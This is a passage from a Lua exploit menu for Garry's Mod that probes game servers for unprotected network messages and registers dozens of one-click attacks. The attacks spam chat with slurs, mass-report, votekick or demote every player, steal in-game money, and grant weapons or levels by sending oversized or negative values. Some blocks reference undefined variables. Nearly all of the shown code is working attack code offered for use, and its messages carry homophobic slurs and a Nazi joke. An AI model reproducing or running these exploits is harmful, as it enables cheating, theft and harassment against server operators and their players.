1995 net.SendToServer()
1996 end
1997
1998 local DTeamChoice = vgui.Create("DComboBox", base)
1999 DTeamChoice:SetSize(150, 22)
2000 DTeamChoice:SetPos(75, 50)
2001 DTeamChoice:SetValue("Select Job")
2002
2003 for k, v in pairs(team.GetAllTeams()) do
2004 if not (HIDDEN_TEAMS[k]) and (team.NumPlayers(k) ~= 0) then
2005 DTeamChoice:AddChoice(team.GetName(k))
2006 end
2007 end
2008
2009 DTeamChoice.OnSelect = function(panel, index, value)
2010 for k, _ in pairs(team.GetAllTeams()) do
2011 if value == team.GetName(k) then
2012 for _, v in pairs(player.GetAll()) do
2013 if v:Team() == k then
2014 TeamNum = v:Team()
2015 disguise_Model_Preview_Default = v:GetModel()
2016 end
2017 end
2018 end
2019 end
2020
2021 timer.Create("RefreshModel", 0.1, 0, function()
2022 local icon = vgui.Create("DModelPanel", base)
2023 icon:SetSize(300, 260)
2024 icon:SetPos(-5, 80)
2025 icon:SetFOV(68)
2026 icon:SetModel(disguise_Model_Preview_Default)
2027
2028 timer.Simple(0.1, function()
2029 icon:Remove()
2030 end)
2031 end)
2032
2033 local DisguiseButton = vgui.Create("DButton", base)
2034 DisguiseButton:SetPos(base:GetWide() / 2.5, 360)
2035 DisguiseButton:SetSize(60, 20)
2036 DisguiseButton:SetText("Accept")
2037 DisguiseButton:SetFont("DermaDefaultBold")
2038
2039 function DisguiseButton:Paint()
2040 if DisguiseButton.Hovered then
2041 if DisguiseButton:IsDown() then
2042 DisguiseButton:SetTextColor(Color(200, 200, 200, 200))
2043 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 200, 0, 200))
2044 else
2045 DisguiseButton:SetTextColor(Color(255, 255, 255, 255))
2046 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 220, 0, 255))
2047 end
2048 else
2049 DisguiseButton:SetTextColor(Color(20, 20, 20, 200))
2050 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 200, 0, 255))
2051 end
2052 end
2053
2054 function DisguiseButton:DoClick()
2055 net.Start("SetPlayerModel")
2056
2057 if ChosenName == nil then
2058 net.WriteString(LocalPlayer():Nick())
2059 else
2060 net.WriteString(ChosenName)
2061 end
2062
2063 net.WriteUInt(TeamNum, 16)
2064 net.SendToServer()
2065 base:Close()
2066 net.Start("changeToPhysgun")
2067 net.SendToServer()
2068 end
2069 end
2070 end)
2071 end
2072
2073 status = ValidNetString("Chatbox_PlayerChat")
2074
2075 if (status) then
2076 ECPrint("Found Exploit: WilloxChat Spam [Chatbox_PlayerChat]")
2077
2078 addExploit("42", "WilloxChat Spam", "spam in chat", function()
2079 surface.PlaySound("garrysmod/ui_click.wav")
2080 ECNotify("Starting")
2081
2082 timer.Create("willoxchatspam", 1, 0, function()
2083 net.Start("Chatbox_PlayerChat")
2084 net.WriteEntity(LocalPlayer())
2085 net.WriteBit(1)
2086 net.WriteString("FAGGOTS")
2087 net.WriteBit(1)
2088 net.SendToServer()
2089 end)
2090 end)
2091 end
2092
2093 status = ValidNetString("BuilderXToggleKill")
2094
2095 if (status) then
2096 ECPrint("Found Exploit: BuilderXToggleKill [BuilderXToggleKill]")
2097
2098 addExploit("43", "BuilderXToggleKill", "old exploit, i dont remember what he was doing", function()
2099 surface.PlaySound("garrysmod/ui_click.wav")
2100 ECNotify("Starting")
2101
2102 for k, v in pairs(player.GetAll()) do
2103 net.Start("BuilderXToggleKill")
2104 net.WriteEntity(ply)
2105 net.SendToServer()
2106 end
2107 end)
2108 end
2109
2110 status = ValidNetString("reports.submit")
2111
2112 if (status) then
2113 ECPrint("Found Exploit: Report All [reports.submit]")
2114
2115 addExploit("44", "Report All", "Report all faggots", function()
2116 surface.PlaySound("garrysmod/ui_click.wav")
2117 ECNotify("Starting")
2118
2119 for k, v in pairs(player.GetAll()) do
2120 net.Start("reports.submit")
2121 net.WriteEntity(v)
2122 net.WriteInt(5, 8)
2123 net.WriteString("SuckMyDick")
2124 net.SendToServer()
2125 end
2126 end)
2127 end
2128
2129 status = ValidNetString("services_accept")
2130
2131 if (status) then
2132 ECPrint("Found Exploit: Infernus Service Accept [services_accept]")
2133
2134 addExploit("45", "Infernus Service Accept", "spam to all players", function()
2135 surface.PlaySound("garrysmod/ui_click.wav")
2136 ECNotify("Starting")
2137
2138 timer.Create("serviceaccept", 0, 0, function()
2139 for k, v in pairs(player.GetAll()) do
2140 net.Start("services_accept")
2141 net.WriteString("Nice security, retards xd")
2142 net.WriteVector(Vector(v:GetPos()))
2143 net.WriteString("test image")
2144 net.WriteEntity(v)
2145 net.SendToServer()
2146 end
2147 end)
2148
2149 timer.Simple(4, function()
2150 timer.Destroy("serviceaccept")
2151 end)
2152 end)
2153 end
2154
2155 status = ValidNetString("lockpick_sound")
2156
2157 if (status) then
2158 ECPrint("Found Exploit: LockPick Sound Spam [lockpick_sound]")
2159
2160 addExploit("46", "LockPick Sound Spam", "", function()
2161 surface.PlaySound("garrysmod/ui_click.wav")
2162 ECNotify("Starting")
2163
2164 timer.Create("spamlockpicksound", 3, 0, function()
2165 for k, v in pairs(player.GetAll()) do
2166 net.Start("lockpick_sound")
2167 net.WriteEntity(v)
2168 net.SendToServer()
2169 end
2170 end)
2171
2172 timer.Simple(4, function()
2173 timer.Destroy("spamlockpicksound")
2174 end)
2175 end)
2176 end
2177
2178 status = ValidNetString("customprinter_get")
2179
2180 if (status) then
2181 ECPrint("Found Exploit: Realistic Printers Steal Money [customprinter_get]")
2182
2183 addExploit("47", "Realistic Printers Steal Money", "stealing money from printers", function()
2184 surface.PlaySound("garrysmod/ui_click.wav")
2185 ECNotify("Starting")
2186
2187 for k, v in pairs(ents.GetAll()) do
2188 if v:GetClass():find("print") then
2189 net.Start("customprinter_get")
2190 net.WriteEntity(v)
2191 net.WriteString("g_money")
2192 net.SendToServer()
2193 end
2194 end
2195 end)
2196 end
2197
2198 status = ValidNetString("InformPlayer")
2199
2200 if (status) then
2201 ECPrint("Found Exploit: SimpleGrab Inform [InformPlayer]")
2202
2203 addExploit("48", "SimpleGrab Inform", "Spam all players in the console", function()
2204 surface.PlaySound("garrysmod/ui_click.wav")
2205 ECNotify("Starting")
2206
2207 for k, v in pairs(player.GetAll()) do
2208 for i = 0, 100 do
2209 net.Start("InformPlayer")
2210 net.WriteEntity(v)
2211 net.SendToServer()
2212 end
2213 end
2214 end)
2215 end
2216
2217 status = ValidNetString("pogcp_report_submitReport")
2218
2219 if (status) then
2220 ECPrint("Found Exploit: Report All #2 [pogcp_report_submitReport]")
2221
2222 addExploit("49", "Report All #2", "Report all faggots", function()
2223 surface.PlaySound("garrysmod/ui_click.wav")
2224 ECNotify("Starting")
2225
2226 for i = 0, 100 do
2227 for k, v in pairs(player.GetAll()) do
2228 net.Start("pogcp_report_submitReport")
2229 net.WriteString("lol")
2230 net.WriteString("nice security retards")
2231 net.WriteEntity(v)
2232 net.SendToServer()
2233 end
2234 end
2235 end)
2236 end
2237
2238 status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
2239
2240 if (status) then
2241 ECPrint("Found Exploit: Fuhrer Submit Candidacy [1942_Fuhrer_SubmitCandidacy]")
2242
2243 addExploit("50", "Fuhrer Submit Candidacy", "you instantly become a Fuhrer, Sieg Heil", function()
2244 surface.PlaySound("garrysmod/ui_click.wav")
2245 ECNotify("Starting")
2246 net.Start("1942_Fuhrer_SubmitCandidacy")
2247 net.WriteString(LocalPlayer():Nick())
2248 net.SendToServer()
2249 end)
2250 end
2251
2252 status = ValidNetString("FacCreate")
2253
2254 if (status) then
2255 ECPrint("Found Exploit: Fac Create [FacCreate]")
2256
2257 addExploit("51", "Fac Create", "old exploit", function()
2258 surface.PlaySound("garrysmod/ui_click.wav")
2259 ECNotify("Starting")
2260
2261 timer.Create("fucklol", 1, 0, function()
2262 net.Start("FacCreate")
2263 net.WriteString("LOL " .. random_string(5))
2264 net.WriteString("LOL " .. random_string(10))
2265 net.WriteColor(random_color())
2266 net.WriteBool(false)
2267 net.WriteString(random_string(5))
2268 net.SendToServer()
2269 end)
2270 end)
2271 end
2272
2273 status = ValidNetString("FactionInviteConsole")
2274
2275 if (status) then
2276 ECPrint("Found Exploit: Faction Invite [FactionInviteConsole]")
2277
2278 addExploit("52", "Faction Invite", "", function()
2279 surface.PlaySound("garrysmod/ui_click.wav")
2280 ECNotify("Starting")
2281
2282 timer.Create("lovedarkexploitsxd", 1, 0, function()
2283 for k, v in pairs(player.GetAll()) do
2284 net.Start("FactionInviteConsole")
2285 net.WriteEntity(ply)
2286 net.WriteEntity(table.Random(player.GetAll()))
2287 net.SendToServer()
2288 end
2289 end)
2290 end)
2291 end
2292
2293 status = ValidNetString("WithdrewBMoney")
2294
2295 if (status) then
2296 ECPrint("Found Exploit: Free Money #2 [WithdrewBMoney]")
2297
2298 addExploit("53", "Free Money #2", "an exploit in the addon 'business'", function()
2299 surface.PlaySound("garrysmod/ui_click.wav")
2300 ECNotify("Starting")
2301 net.Start("WithdrewBMoney")
2302 net.WriteInt(50000, 32)
2303 net.SendToServer()
2304 end)
2305 end
2306
2307 status = ValidNetString("deathrag_takeitem")
2308
2309 if (status) then
2310 ECPrint("Found Exploit: Easy Items [deathrag_takeitem]")
2311
2312 addExploit("54", "Easy Items", "collects money, weapons", function()
2313 surface.PlaySound("garrysmod/ui_click.wav")
2314 ECNotify("Starting")
2315 count = 0
2316
2317 for k, v in pairs(ents.GetAll()) do
2318 if v:GetClass() == "prop_ragdoll" then
2319 count = count + 1
2320 end
2321 end
2322
2323 if count == 0 then
2324 ECPrint("No items found")
2325 else
2326 ECPrint("Amount of items " .. count)
2327 end
2328
2329 for k, v in pairs(ents.GetAll()) do
2330 if v:GetClass() == "prop_ragdoll" then
2331 for i = 1, 10 do
2332 net.Start("deathrag_takeitem")
2333 net.WriteEntity(v)
2334 net.WriteInt(i, 16)
2335 net.SendToServer()
2336 end
2337 end
2338 end
2339 end)
2340 end
2341
2342 status = ValidNetString("REPPurchase")
2343
2344 if (status) then
2345 ECPrint("Found Exploit: Heal and Armor [REPPurchase]")
2346
2347 addExploit("55", "Heal and Armor", "armor and hp", function()
2348 surface.PlaySound("garrysmod/ui_click.wav")
2349 ECNotify("Starting")
2350
2351 if LocalPlayer():Health() < 99 then
2352 net.Start("REPPurchase")
2353 net.WriteString("HEALTH")
2354 net.SendToServer()
2355 end
2356
2357 if LocalPlayer():Armor() < 99 then
2358 net.Start("REPPurchase")
2359 net.WriteString("ARMOR")
2360 net.SendToServer()
2361 end
2362 end)
2363 end
2364
2365 status = ValidNetString("BTTTStartVotekick")
2366
2367 if (status) then
2368 ECPrint("Found Exploit: Votekick #2 [BTTTStartVotekick]")
2369
2370 addExploit("56", "Votekick #2", "kick all noobs", function()
2371 surface.PlaySound("garrysmod/ui_click.wav")
2372 ECNotify("Starting")
2373
2374 for k, v in pairs(player.GetAll()) do
2375 if v ~= LocalPlayer() then
2376 net.Start("BTTTStartVotekick")
2377 net.Start("_nonDBVMVote")
2378 net.WriteEntity(v)
2379 net.WriteString("")
2380 net.WriteString("1")
2381 net.SendToServer()
2382 end
2383 end
2384 end)
2385 end
2386
2387 status = ValidNetString("Resupply")
2388
2389 if (status) then
2390 ECPrint("Found Exploit: Respawn Equipment [Resupply]")
2391
2392 addExploit("57", "Respawn Equipment", "", function()
2393 surface.PlaySound("garrysmod/ui_click.wav")
2394 ECNotify("Starting")
2395 net.Start("Resupply")
2396 net.SendToServer()
2397 end)
2398 end
2399
2400 status = ValidNetString("DarkRP_Defib_ForceSpawn")
2401
2402 if (status) then
2403 ECPrint("Found Exploit: Respawn #2 [DarkRP_Defib_ForceSpawn]")
2404
2405 addExploit("58", "Respawn #2", "just respawn", function()
2406 surface.PlaySound("garrysmod/ui_click.wav")
2407 ECNotify("Respawn")
2408 net.Start("DarkRP_Defib_ForceSpawn")
2409 net.SendToServer()
2410 end)
2411 end
2412
2413 status = ValidNetString("FiremanLeave")
2414
2415 if (status) then
2416 ECPrint("Found Exploit: Fireman Leave [FiremanLeave]")
2417
2418 addExploit("59", "Fireman Leave", "", function()
2419 surface.PlaySound("garrysmod/ui_click.wav")
2420 ECNotify("Starting")
2421 net.Start("FiremanLeave")
2422 net.SendToServer()
2423 end)
2424 end
2425
2426 status = ValidNetString("PoliceJoin")
2427
2428 if (status) then
2429 ECPrint("Found Exploit: Join the Police 1 [PoliceJoin]")
2430
2431 addExploit("60", "Join the Police 1", "joining the police", function()
2432 surface.PlaySound("garrysmod/ui_click.wav")
2433 ECNotify("Starting")
2434 net.Start("PoliceJoin")
2435 net.SendToServer()
2436 end)
2437 end
2438
2439 status = ValidNetString("CreateEntity")
2440
2441 if (status) then
2442 ECPrint("Found Exploit: Create Entity [CreateEntity]")
2443
2444 addExploit("61", "Create Entity", "", function()
2445 surface.PlaySound("garrysmod/ui_click.wav")
2446 ECNotify("Starting")
2447
2448 for k, v in pairs(player.GetAll()) do
2449 net.Start("CreateEntity")
2450 net.WriteString("sent_arc_atm")
2451 net.WriteFloat(100000000000000000000000000000000000000000000000000)
2452 net.WriteEntity(v)
2453 net.SendToServer()
2454 end
2455 end)
2456 end
2457
2458 status = ValidNetString("CREATE_REPORT")
2459
2460 if (status) then
2461 ECPrint("Found Exploit: CREATE REPORT [CREATE_REPORT]")
2462
2463 addExploit("62", "CREATE REPORT", "", function()
2464 surface.PlaySound("garrysmod/ui_click.wav")
2465 ECNotify("Starting")
2466
2467 local tab = {
2468 REPORTER = v:Nick(),
2469 REPORTERID = v:SteamID(),
2470 FAGGOT = v:Nick(),
2471 FAGGOTID = v:SteamID(),
2472 INFO = "Say hi to youtube",
2473 PROOF = "https://www.youtube.com/channel/UCmiP5W8BuaLzzGcJVKORErg"
2474 }
2475
2476 for k, v in pairs(player.GetAll()) do
2477 net.Start("CREATE_REPORT")
2478 net.WriteTable(tab)
2479 net.SendToServer()
2480 end
2481 end)
2482 end
2483
2484 status = ValidNetString("Hopping_Test")
2485
2486 if (status) then
2487 ECPrint("Found Exploit: Hopping Test [Hopping_Test]")
2488
2489 addExploit("62", "Hopping Test", "", function()
2490 surface.PlaySound("garrysmod/ui_click.wav")
2491 ECNotify("Starting")
2492
2493 for k, v in pairs(player.GetAll()) do
2494 net.Start("Hopping_Test")
2495 net.WriteEntity(v)
2496 net.WriteString("69.696.696969.69")
2497 net.SendToServer()
2498 end
2499 end)
2500 end
2501
2502 status = ValidNetString("CpForm_Answers")
2503
2504 if (status) then
2505 ECPrint("Found Exploit: Join the Police 2 [CpForm_Answers]")
2506
2507 addExploit("63", "Join the Police 2", "joining the police #2", function()
2508 surface.PlaySound("garrysmod/ui_click.wav")
2509 ECNotify("Starting")
2510 net.Start("CpForm_Answers")
2511 net.WriteEntity(LocalPlayer())
2512 net.WriteTable({})
2513 net.SendToServer()
2514 end)
2515 end
2516
2517 status = ValidNetString("VehicleUnderglow")
2518
2519 if (status) then
2520 ECPrint("Found Exploit: Vehicle Underglow [VehicleUnderglow]")
2521
2522 addExploit("64", "Vehicle Underglow", "", function()
2523 surface.PlaySound("garrysmod/ui_click.wav")
2524 ECNotify("Starting")
2525 net.Start("VehicleUnderglow")
2526 net.SendToServer()
2527 end)
2528 end
2529
2530 status = ValidNetString("OpenGates")
2531
2532 if (status) then
2533 ECPrint("Found Exploit: Open Door #2 [OpenGates]")
2534
2535 addExploit("65", "Open Door #2", "Force open the door you are looking at", function()
2536 surface.PlaySound("garrysmod/ui_click.wav")
2537 ECNotify("Starting")
2538 net.Start("OpenGates")
2539 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
2540 net.SendToServer()
2541 end)
2542 end
2543
2544 status = ValidNetString("DemotePlayer")
2545
2546 if (status) then
2547 ECPrint("Found Exploit: Demote All Players [DemotePlayer]")
2548
2549 addExploit("66", "Demote All Players", "Demote all players", function()
2550 surface.PlaySound("garrysmod/ui_click.wav")
2551 ECNotify("Starting")
2552
2553 for k, v in pairs(player.GetAll()) do
2554 net.Start("DemotePlayer")
2555 net.WriteString(v:SteamID())
2556 net.SendToServer()
2557 end
2558 end)
2559 end
2560
2561 status = ValidNetString("SendMail")
2562
2563 if (status) then
2564 ECPrint("Found Exploit: Send Mail [SendMail]")
2565
2566 addExploit("67", "Send Mail", "sending mail to all players", function()
2567 surface.PlaySound("garrysmod/ui_click.wav")
2568 ECNotify("Starting")
2569
2570 for k, v in pairs(player.GetAll()) do
2571 net.Start("SendMail")
2572 net.WriteString("haha nice security retards")
2573 net.WriteString(v:Nick())
2574 net.SendToServer()
2575 end
2576 end)
2577 end
2578
2579 status = ValidNetString("REPAdminChangeLVL")
2580
2581 if (status) then
2582 ECPrint("Found Exploit: Admin Change Level [REPAdminChangeLVL]")
2583
2584 addExploit("68", "Admin Change Level", "free lvl", function()
2585 surface.PlaySound("garrysmod/ui_click.wav")
2586 ECNotify("Starting")
2587
2588 for k, v in pairs(player.GetAll()) do
2589 net.Start("REPAdminChangeLVL")
2590 net.WriteEntity(v)
2591 net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2592 net.SendToServer()
2593 end
2594 end)
2595 end
2596
2597 status = ValidNetString("BuyUpgradesStuff")
2598
2599 if (status) then
2600 ECPrint("Found Exploit: Buy Upgrades [BuyUpgradesStuff]")
2601
2602 addExploit("69", "Buy Upgrades", "free upgrades", function()
2603 surface.PlaySound("garrysmod/ui_click.wav")
2604 ECNotify("Starting")
2605 net.Start("BuyUpgradesStuff")
2606 net.WriteString("")
2607 net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2608 net.SendToServer()
2609 end)
2610 end
2611
2612 status = ValidNetString("SquadGiveWeapon")
2613
2614 if (status) then
2615 ECPrint("Found Exploit: Give Weapons [SquadGiveWeapon]")
2616
2617 addExploit("70", "Give Weapons", "easy weapon", function()
2618 surface.PlaySound("garrysmod/ui_click.wav")
2619 inputFrameExists = true
2620 inputFrame = vgui.Create("DFrame")
2621 inputFrame:SetTitle("Choose a weapon!")
2622 inputFrame:SetSize(400, 75)
2623 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2624 inputFrame:SetDraggable(false)
2625 inputFrame:ShowCloseButton(true)
2626 inputFrame:MakePopup()
2627
2628 inputFrame.Paint = function(self, w, h)
2629 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2630 end
2631
2632 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2633 TextEntry:SetSize(380, 30)
2634 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2635 TextEntry:SetText("ls_sniper")
2636
2637 TextEntry.OnEnter = function(self)
2638 surface.PlaySound("garrysmod/ui_click.wav")
2639 ECNotify("Giving Weapon")
2640 net.Start("SquadGiveWeapon")
2641 net.WriteString(self:GetValue())
2642 net.WriteEntity(LocalPlayer())
2643 net.SendToServer()
2644 inputFrame:SetVisible(false)
2645 end
2646 end)
2647 end
2648
2649 status = ValidNetString("SetTableTarget")
2650
2651 if (status) then
2652 ECPrint("Found Exploit: Set Table Target [SetTableTarget]")
2653
2654 addExploit("71", "Set Table Target", "", function()
2655 surface.PlaySound("garrysmod/ui_click.wav")
2656 ECNotify("Starting")
2657 net.Start("SetTableTarget")
2658 net.WriteString("pername")
2659 net.WriteString("perjob")
2660 net.WriteInt(-10000000000000, 32)
2661 net.WriteString("hitmansel")
2662 net.WriteString("Anony.")
2663 net.WriteString("")
2664 net.WriteFloat(0)
2665 net.WriteInt(-10000000000000, 32)
2666 net.SendToServer()
2667 end)
2668 end
2669
2670 status = ValidNetString("UpdateRPUModelSQL")
2671
2672 if (status) then
2673 ECPrint("Found Exploit: Change character model [UpdateRPUModelSQL]")
2674
2675 addExploit("72", "Change character model", "", function()
2676 surface.PlaySound("garrysmod/ui_click.wav")
2677 ECNotify("Starting")
2678 net.Start("UpdateRPUModelSQL")
2679 net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
2680 net.SendToServer()
2681 end)
2682 end
2683
2684 status = ValidNetString("disguise")
2685
2686 if (status) then
2687 ECPrint("Found Exploit: Disguise [disguise]")
2688
2689 addExploit("73", "Disguise", "allows you to disguise as any job", function()
2690 surface.PlaySound("garrysmod/ui_click.wav")
2691 inputFrameExists = true
2692 inputFrame = vgui.Create("DFrame")
2693 inputFrame:SetTitle("Enter the number of the job")
2694 inputFrame:SetSize(400, 75)
2695 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2696 inputFrame:SetDraggable(false)
2697 inputFrame:ShowCloseButton(true)
2698 inputFrame:MakePopup()
2699
2700 inputFrame.Paint = function(self, w, h)
2701 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2702 end
2703
2704 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2705 TextEntry:SetSize(380, 30)
2706 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2707 TextEntry:SetText("5")
2708
2709 TextEntry.OnEnter = function(self)
2710 surface.PlaySound("garrysmod/ui_click.wav")
2711 ECNotify("Disguised")
2712 net.Start("disguise")
2713 net.WriteInt(tonumber(self:GetValue()), 32)
2714 net.SendToServer()
2715 inputFrame:SetVisible(false)
2716 end
2717 end)
2718 end
2719
2720 status = ValidNetString("gportal_rpname_change")
2721
2722 if (status) then
2723 ECPrint("Found Exploit: Your RP Name #1 [gportal_rpname_change]")
2724
2725 addExploit("74", "Your RP Name #1", "allows you to put absolutely any rp name", function()
2726 surface.PlaySound("garrysmod/ui_click.wav")
2727 inputFrameExists = true
2728 inputFrame = vgui.Create("DFrame")
2729 inputFrame:SetTitle("Enter your name")
2730 inputFrame:SetSize(400, 75)
2731 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2732 inputFrame:SetDraggable(false)
2733 inputFrame:ShowCloseButton(true)
2734 inputFrame:MakePopup()
2735
2736 inputFrame.Paint = function(self, w, h)
2737 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2738 end
2739
2740 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2741 TextEntry:SetSize(380, 30)
2742 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2743 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2744
2745 TextEntry.OnEnter = function(self)
2746 surface.PlaySound("garrysmod/ui_click.wav")
2747 ECNotify("Changed")
2748 net.Start("gportal_rpname_change")
2749 net.WriteString((self:GetValue()), 32)
2750 net.WriteString(" ")
2751 net.SendToServer()
2752 inputFrame:SetVisible(false)
2753 end
2754 end)
2755 end
2756
2757 status = ValidNetString("NewRPNameSQL")
2758
2759 if (status) then
2760 ECPrint("Found Exploit: Your RP Name #2 [NewRPNameSQL]")
2761
2762 addExploit("75", "Your RP Name #2", "allows you to put absolutely any rp name", function()
2763 surface.PlaySound("garrysmod/ui_click.wav")
2764 inputFrameExists = true
2765 inputFrame = vgui.Create("DFrame")
2766 inputFrame:SetTitle("Enter your name")
2767 inputFrame:SetSize(400, 75)
2768 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2769 inputFrame:SetDraggable(false)
2770 inputFrame:ShowCloseButton(true)
2771 inputFrame:MakePopup()
2772
2773 inputFrame.Paint = function(self, w, h)
2774 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2775 end
2776
2777 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2778 TextEntry:SetSize(380, 30)
2779 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2780 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2781
2782 TextEntry.OnEnter = function(self)
2783 surface.PlaySound("garrysmod/ui_click.wav")
2784 ECNotify("Changed")
2785 net.Start("NewRPNameSQL")
2786 net.WriteString((self:GetValue()), 32)
2787 net.SendToServer()
2788 inputFrame:SetVisible(false)
2789 end
2790 end)
2791 end
2792
2793 status = ValidNetString("chname")
2794
2795 if (status) then
2796 ECPrint("Found Exploit: Your RP Name #3 [chname]")
2797
2798 addExploit("76", "Your RP Name #3", "discovered by Leith", function()
2799 surface.PlaySound("garrysmod/ui_click.wav")
2800 inputFrameExists = true
2801 inputFrame = vgui.Create("DFrame")
2802 inputFrame:SetTitle("Enter your name")
2803 inputFrame:SetSize(400, 75)
2804 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2805 inputFrame:SetDraggable(false)
2806 inputFrame:ShowCloseButton(true)
2807 inputFrame:MakePopup()
2808
2809 inputFrame.Paint = function(self, w, h)
2810 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2811 end
2812
2813 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2814 TextEntry:SetSize(380, 30)
2815 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2816 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2817
2818 TextEntry.OnEnter = function(self)
2819 surface.PlaySound("garrysmod/ui_click.wav")
2820 ECNotify("Changed")
2821 net.Start("chname")
2822 net.WriteString((self:GetValue()))
2823 net.WriteString(" ")
2824 net.SendToServer()
2825 inputFrame:SetVisible(false)
2826 end
2827 end)
2828 end
2829
2830 status = ValidNetString("AbilityUse")
2831
2832 if (status) then
2833 ECPrint("Found Exploit: Free Bonus [AbilityUse]")
2834
2835 addExploit("77", "Free Bonus", "allows you to instantly get bonuses", function()
2836 surface.PlaySound("garrysmod/ui_click.wav")
2837
2838 for k, v in ipairs(rp.abilities.list) do
2839 ECPrint("ID - " .. k .. " | " .. v:GetName())
2840 inputFrameExists = true
2841 inputFrame = vgui.Create("DFrame")
2842 inputFrame:SetTitle("Enter the id of the bonus")
2843 inputFrame:SetSize(400, 75)
2844 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2845 inputFrame:SetDraggable(false)
2846 inputFrame:ShowCloseButton(true)
2847 inputFrame:MakePopup()
2848
2849 inputFrame.Paint = function(self, w, h)
2850 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2851 end
2852
2853 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2854 TextEntry:SetSize(380, 30)
2855 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2856 TextEntry:SetText("6")
2857
2858 TextEntry.OnEnter = function(self)
2859 surface.PlaySound("garrysmod/ui_click.wav")
2860 ECNotify("Received")
2861 net.Start("AbilityUse")
2862 net.WriteInt(tonumber(self:GetValue()), 32)
2863 net.SendToServer()
2864 inputFrame:SetVisible(false)
2865 end
2866 end
2867 end)
2868 end
2869
2870 status = ValidNetString("race_accept")
2871
2872 if (status) then
2873 ECPrint("Found Exploit: Get Car [race_accept]")
2874
2875 addExploit("78", "Get Car", "", function()
2876 surface.PlaySound("garrysmod/ui_click.wav")
2877 inputFrameExists = true
2878 inputFrame = vgui.Create("DFrame")
2879 inputFrame:SetTitle("Enter the id of the car")
2880 inputFrame:SetSize(400, 75)
2881 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2882 inputFrame:SetDraggable(false)
2883 inputFrame:ShowCloseButton(true)
2884 inputFrame:MakePopup()
2885
2886 inputFrame.Paint = function(self, w, h)
2887 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2888 end
2889
2890 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2891 TextEntry:SetSize(380, 30)
2892 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2893 TextEntry:SetText("1")
2894
2895 TextEntry.OnEnter = function(self)
2896 surface.PlaySound("garrysmod/ui_click.wav")
2897 ECNotify("Starting")
2898 net.Start("race_accept")
2899 net.WriteInt(tonumber(self:GetValue()), 32)
2900 net.SendToServer()
2901 end
2902 end)
2903 end
2904
2905 status = ValidNetString("NLR_SPAWN")
2906
2907 if (status) then
2908 ECPrint("Found Exploit: Respawn #3 [NLR_SPAWN]")
2909
2910 addExploit("79", "Respawn #3", "instant revival", function()
2911 surface.PlaySound("garrysmod/ui_click.wav")
2912 ECNotify("Starting")
2913 net.Start("NLR_SPAWN")
2914 net.WriteEntity(LocalPlayer())
2915 net.SendToServer()
2916 end)
2917 end
2918
2919 status = ValidNetString("Kun_ZiptieStruggle")
2920
2921 if (status) then
2922 ECPrint("Found Exploit: Break Handcuffs [Kun_ZiptieStruggle]")
2923
2924 addExploit("80", "Break Handcuffs", "Instantly breaks the handcuffs", function()
2925 surface.PlaySound("garrysmod/ui_click.wav")
2926 ECNotify("Starting")
2927
2928 for i = 0, 30 do
2929 net.Start("Kun_ZiptieStruggle")
2930 net.SendToServer()
2931 end
2932 end)
2933 end
2934
2935 status = ValidNetString("JB_Votekick")
2936
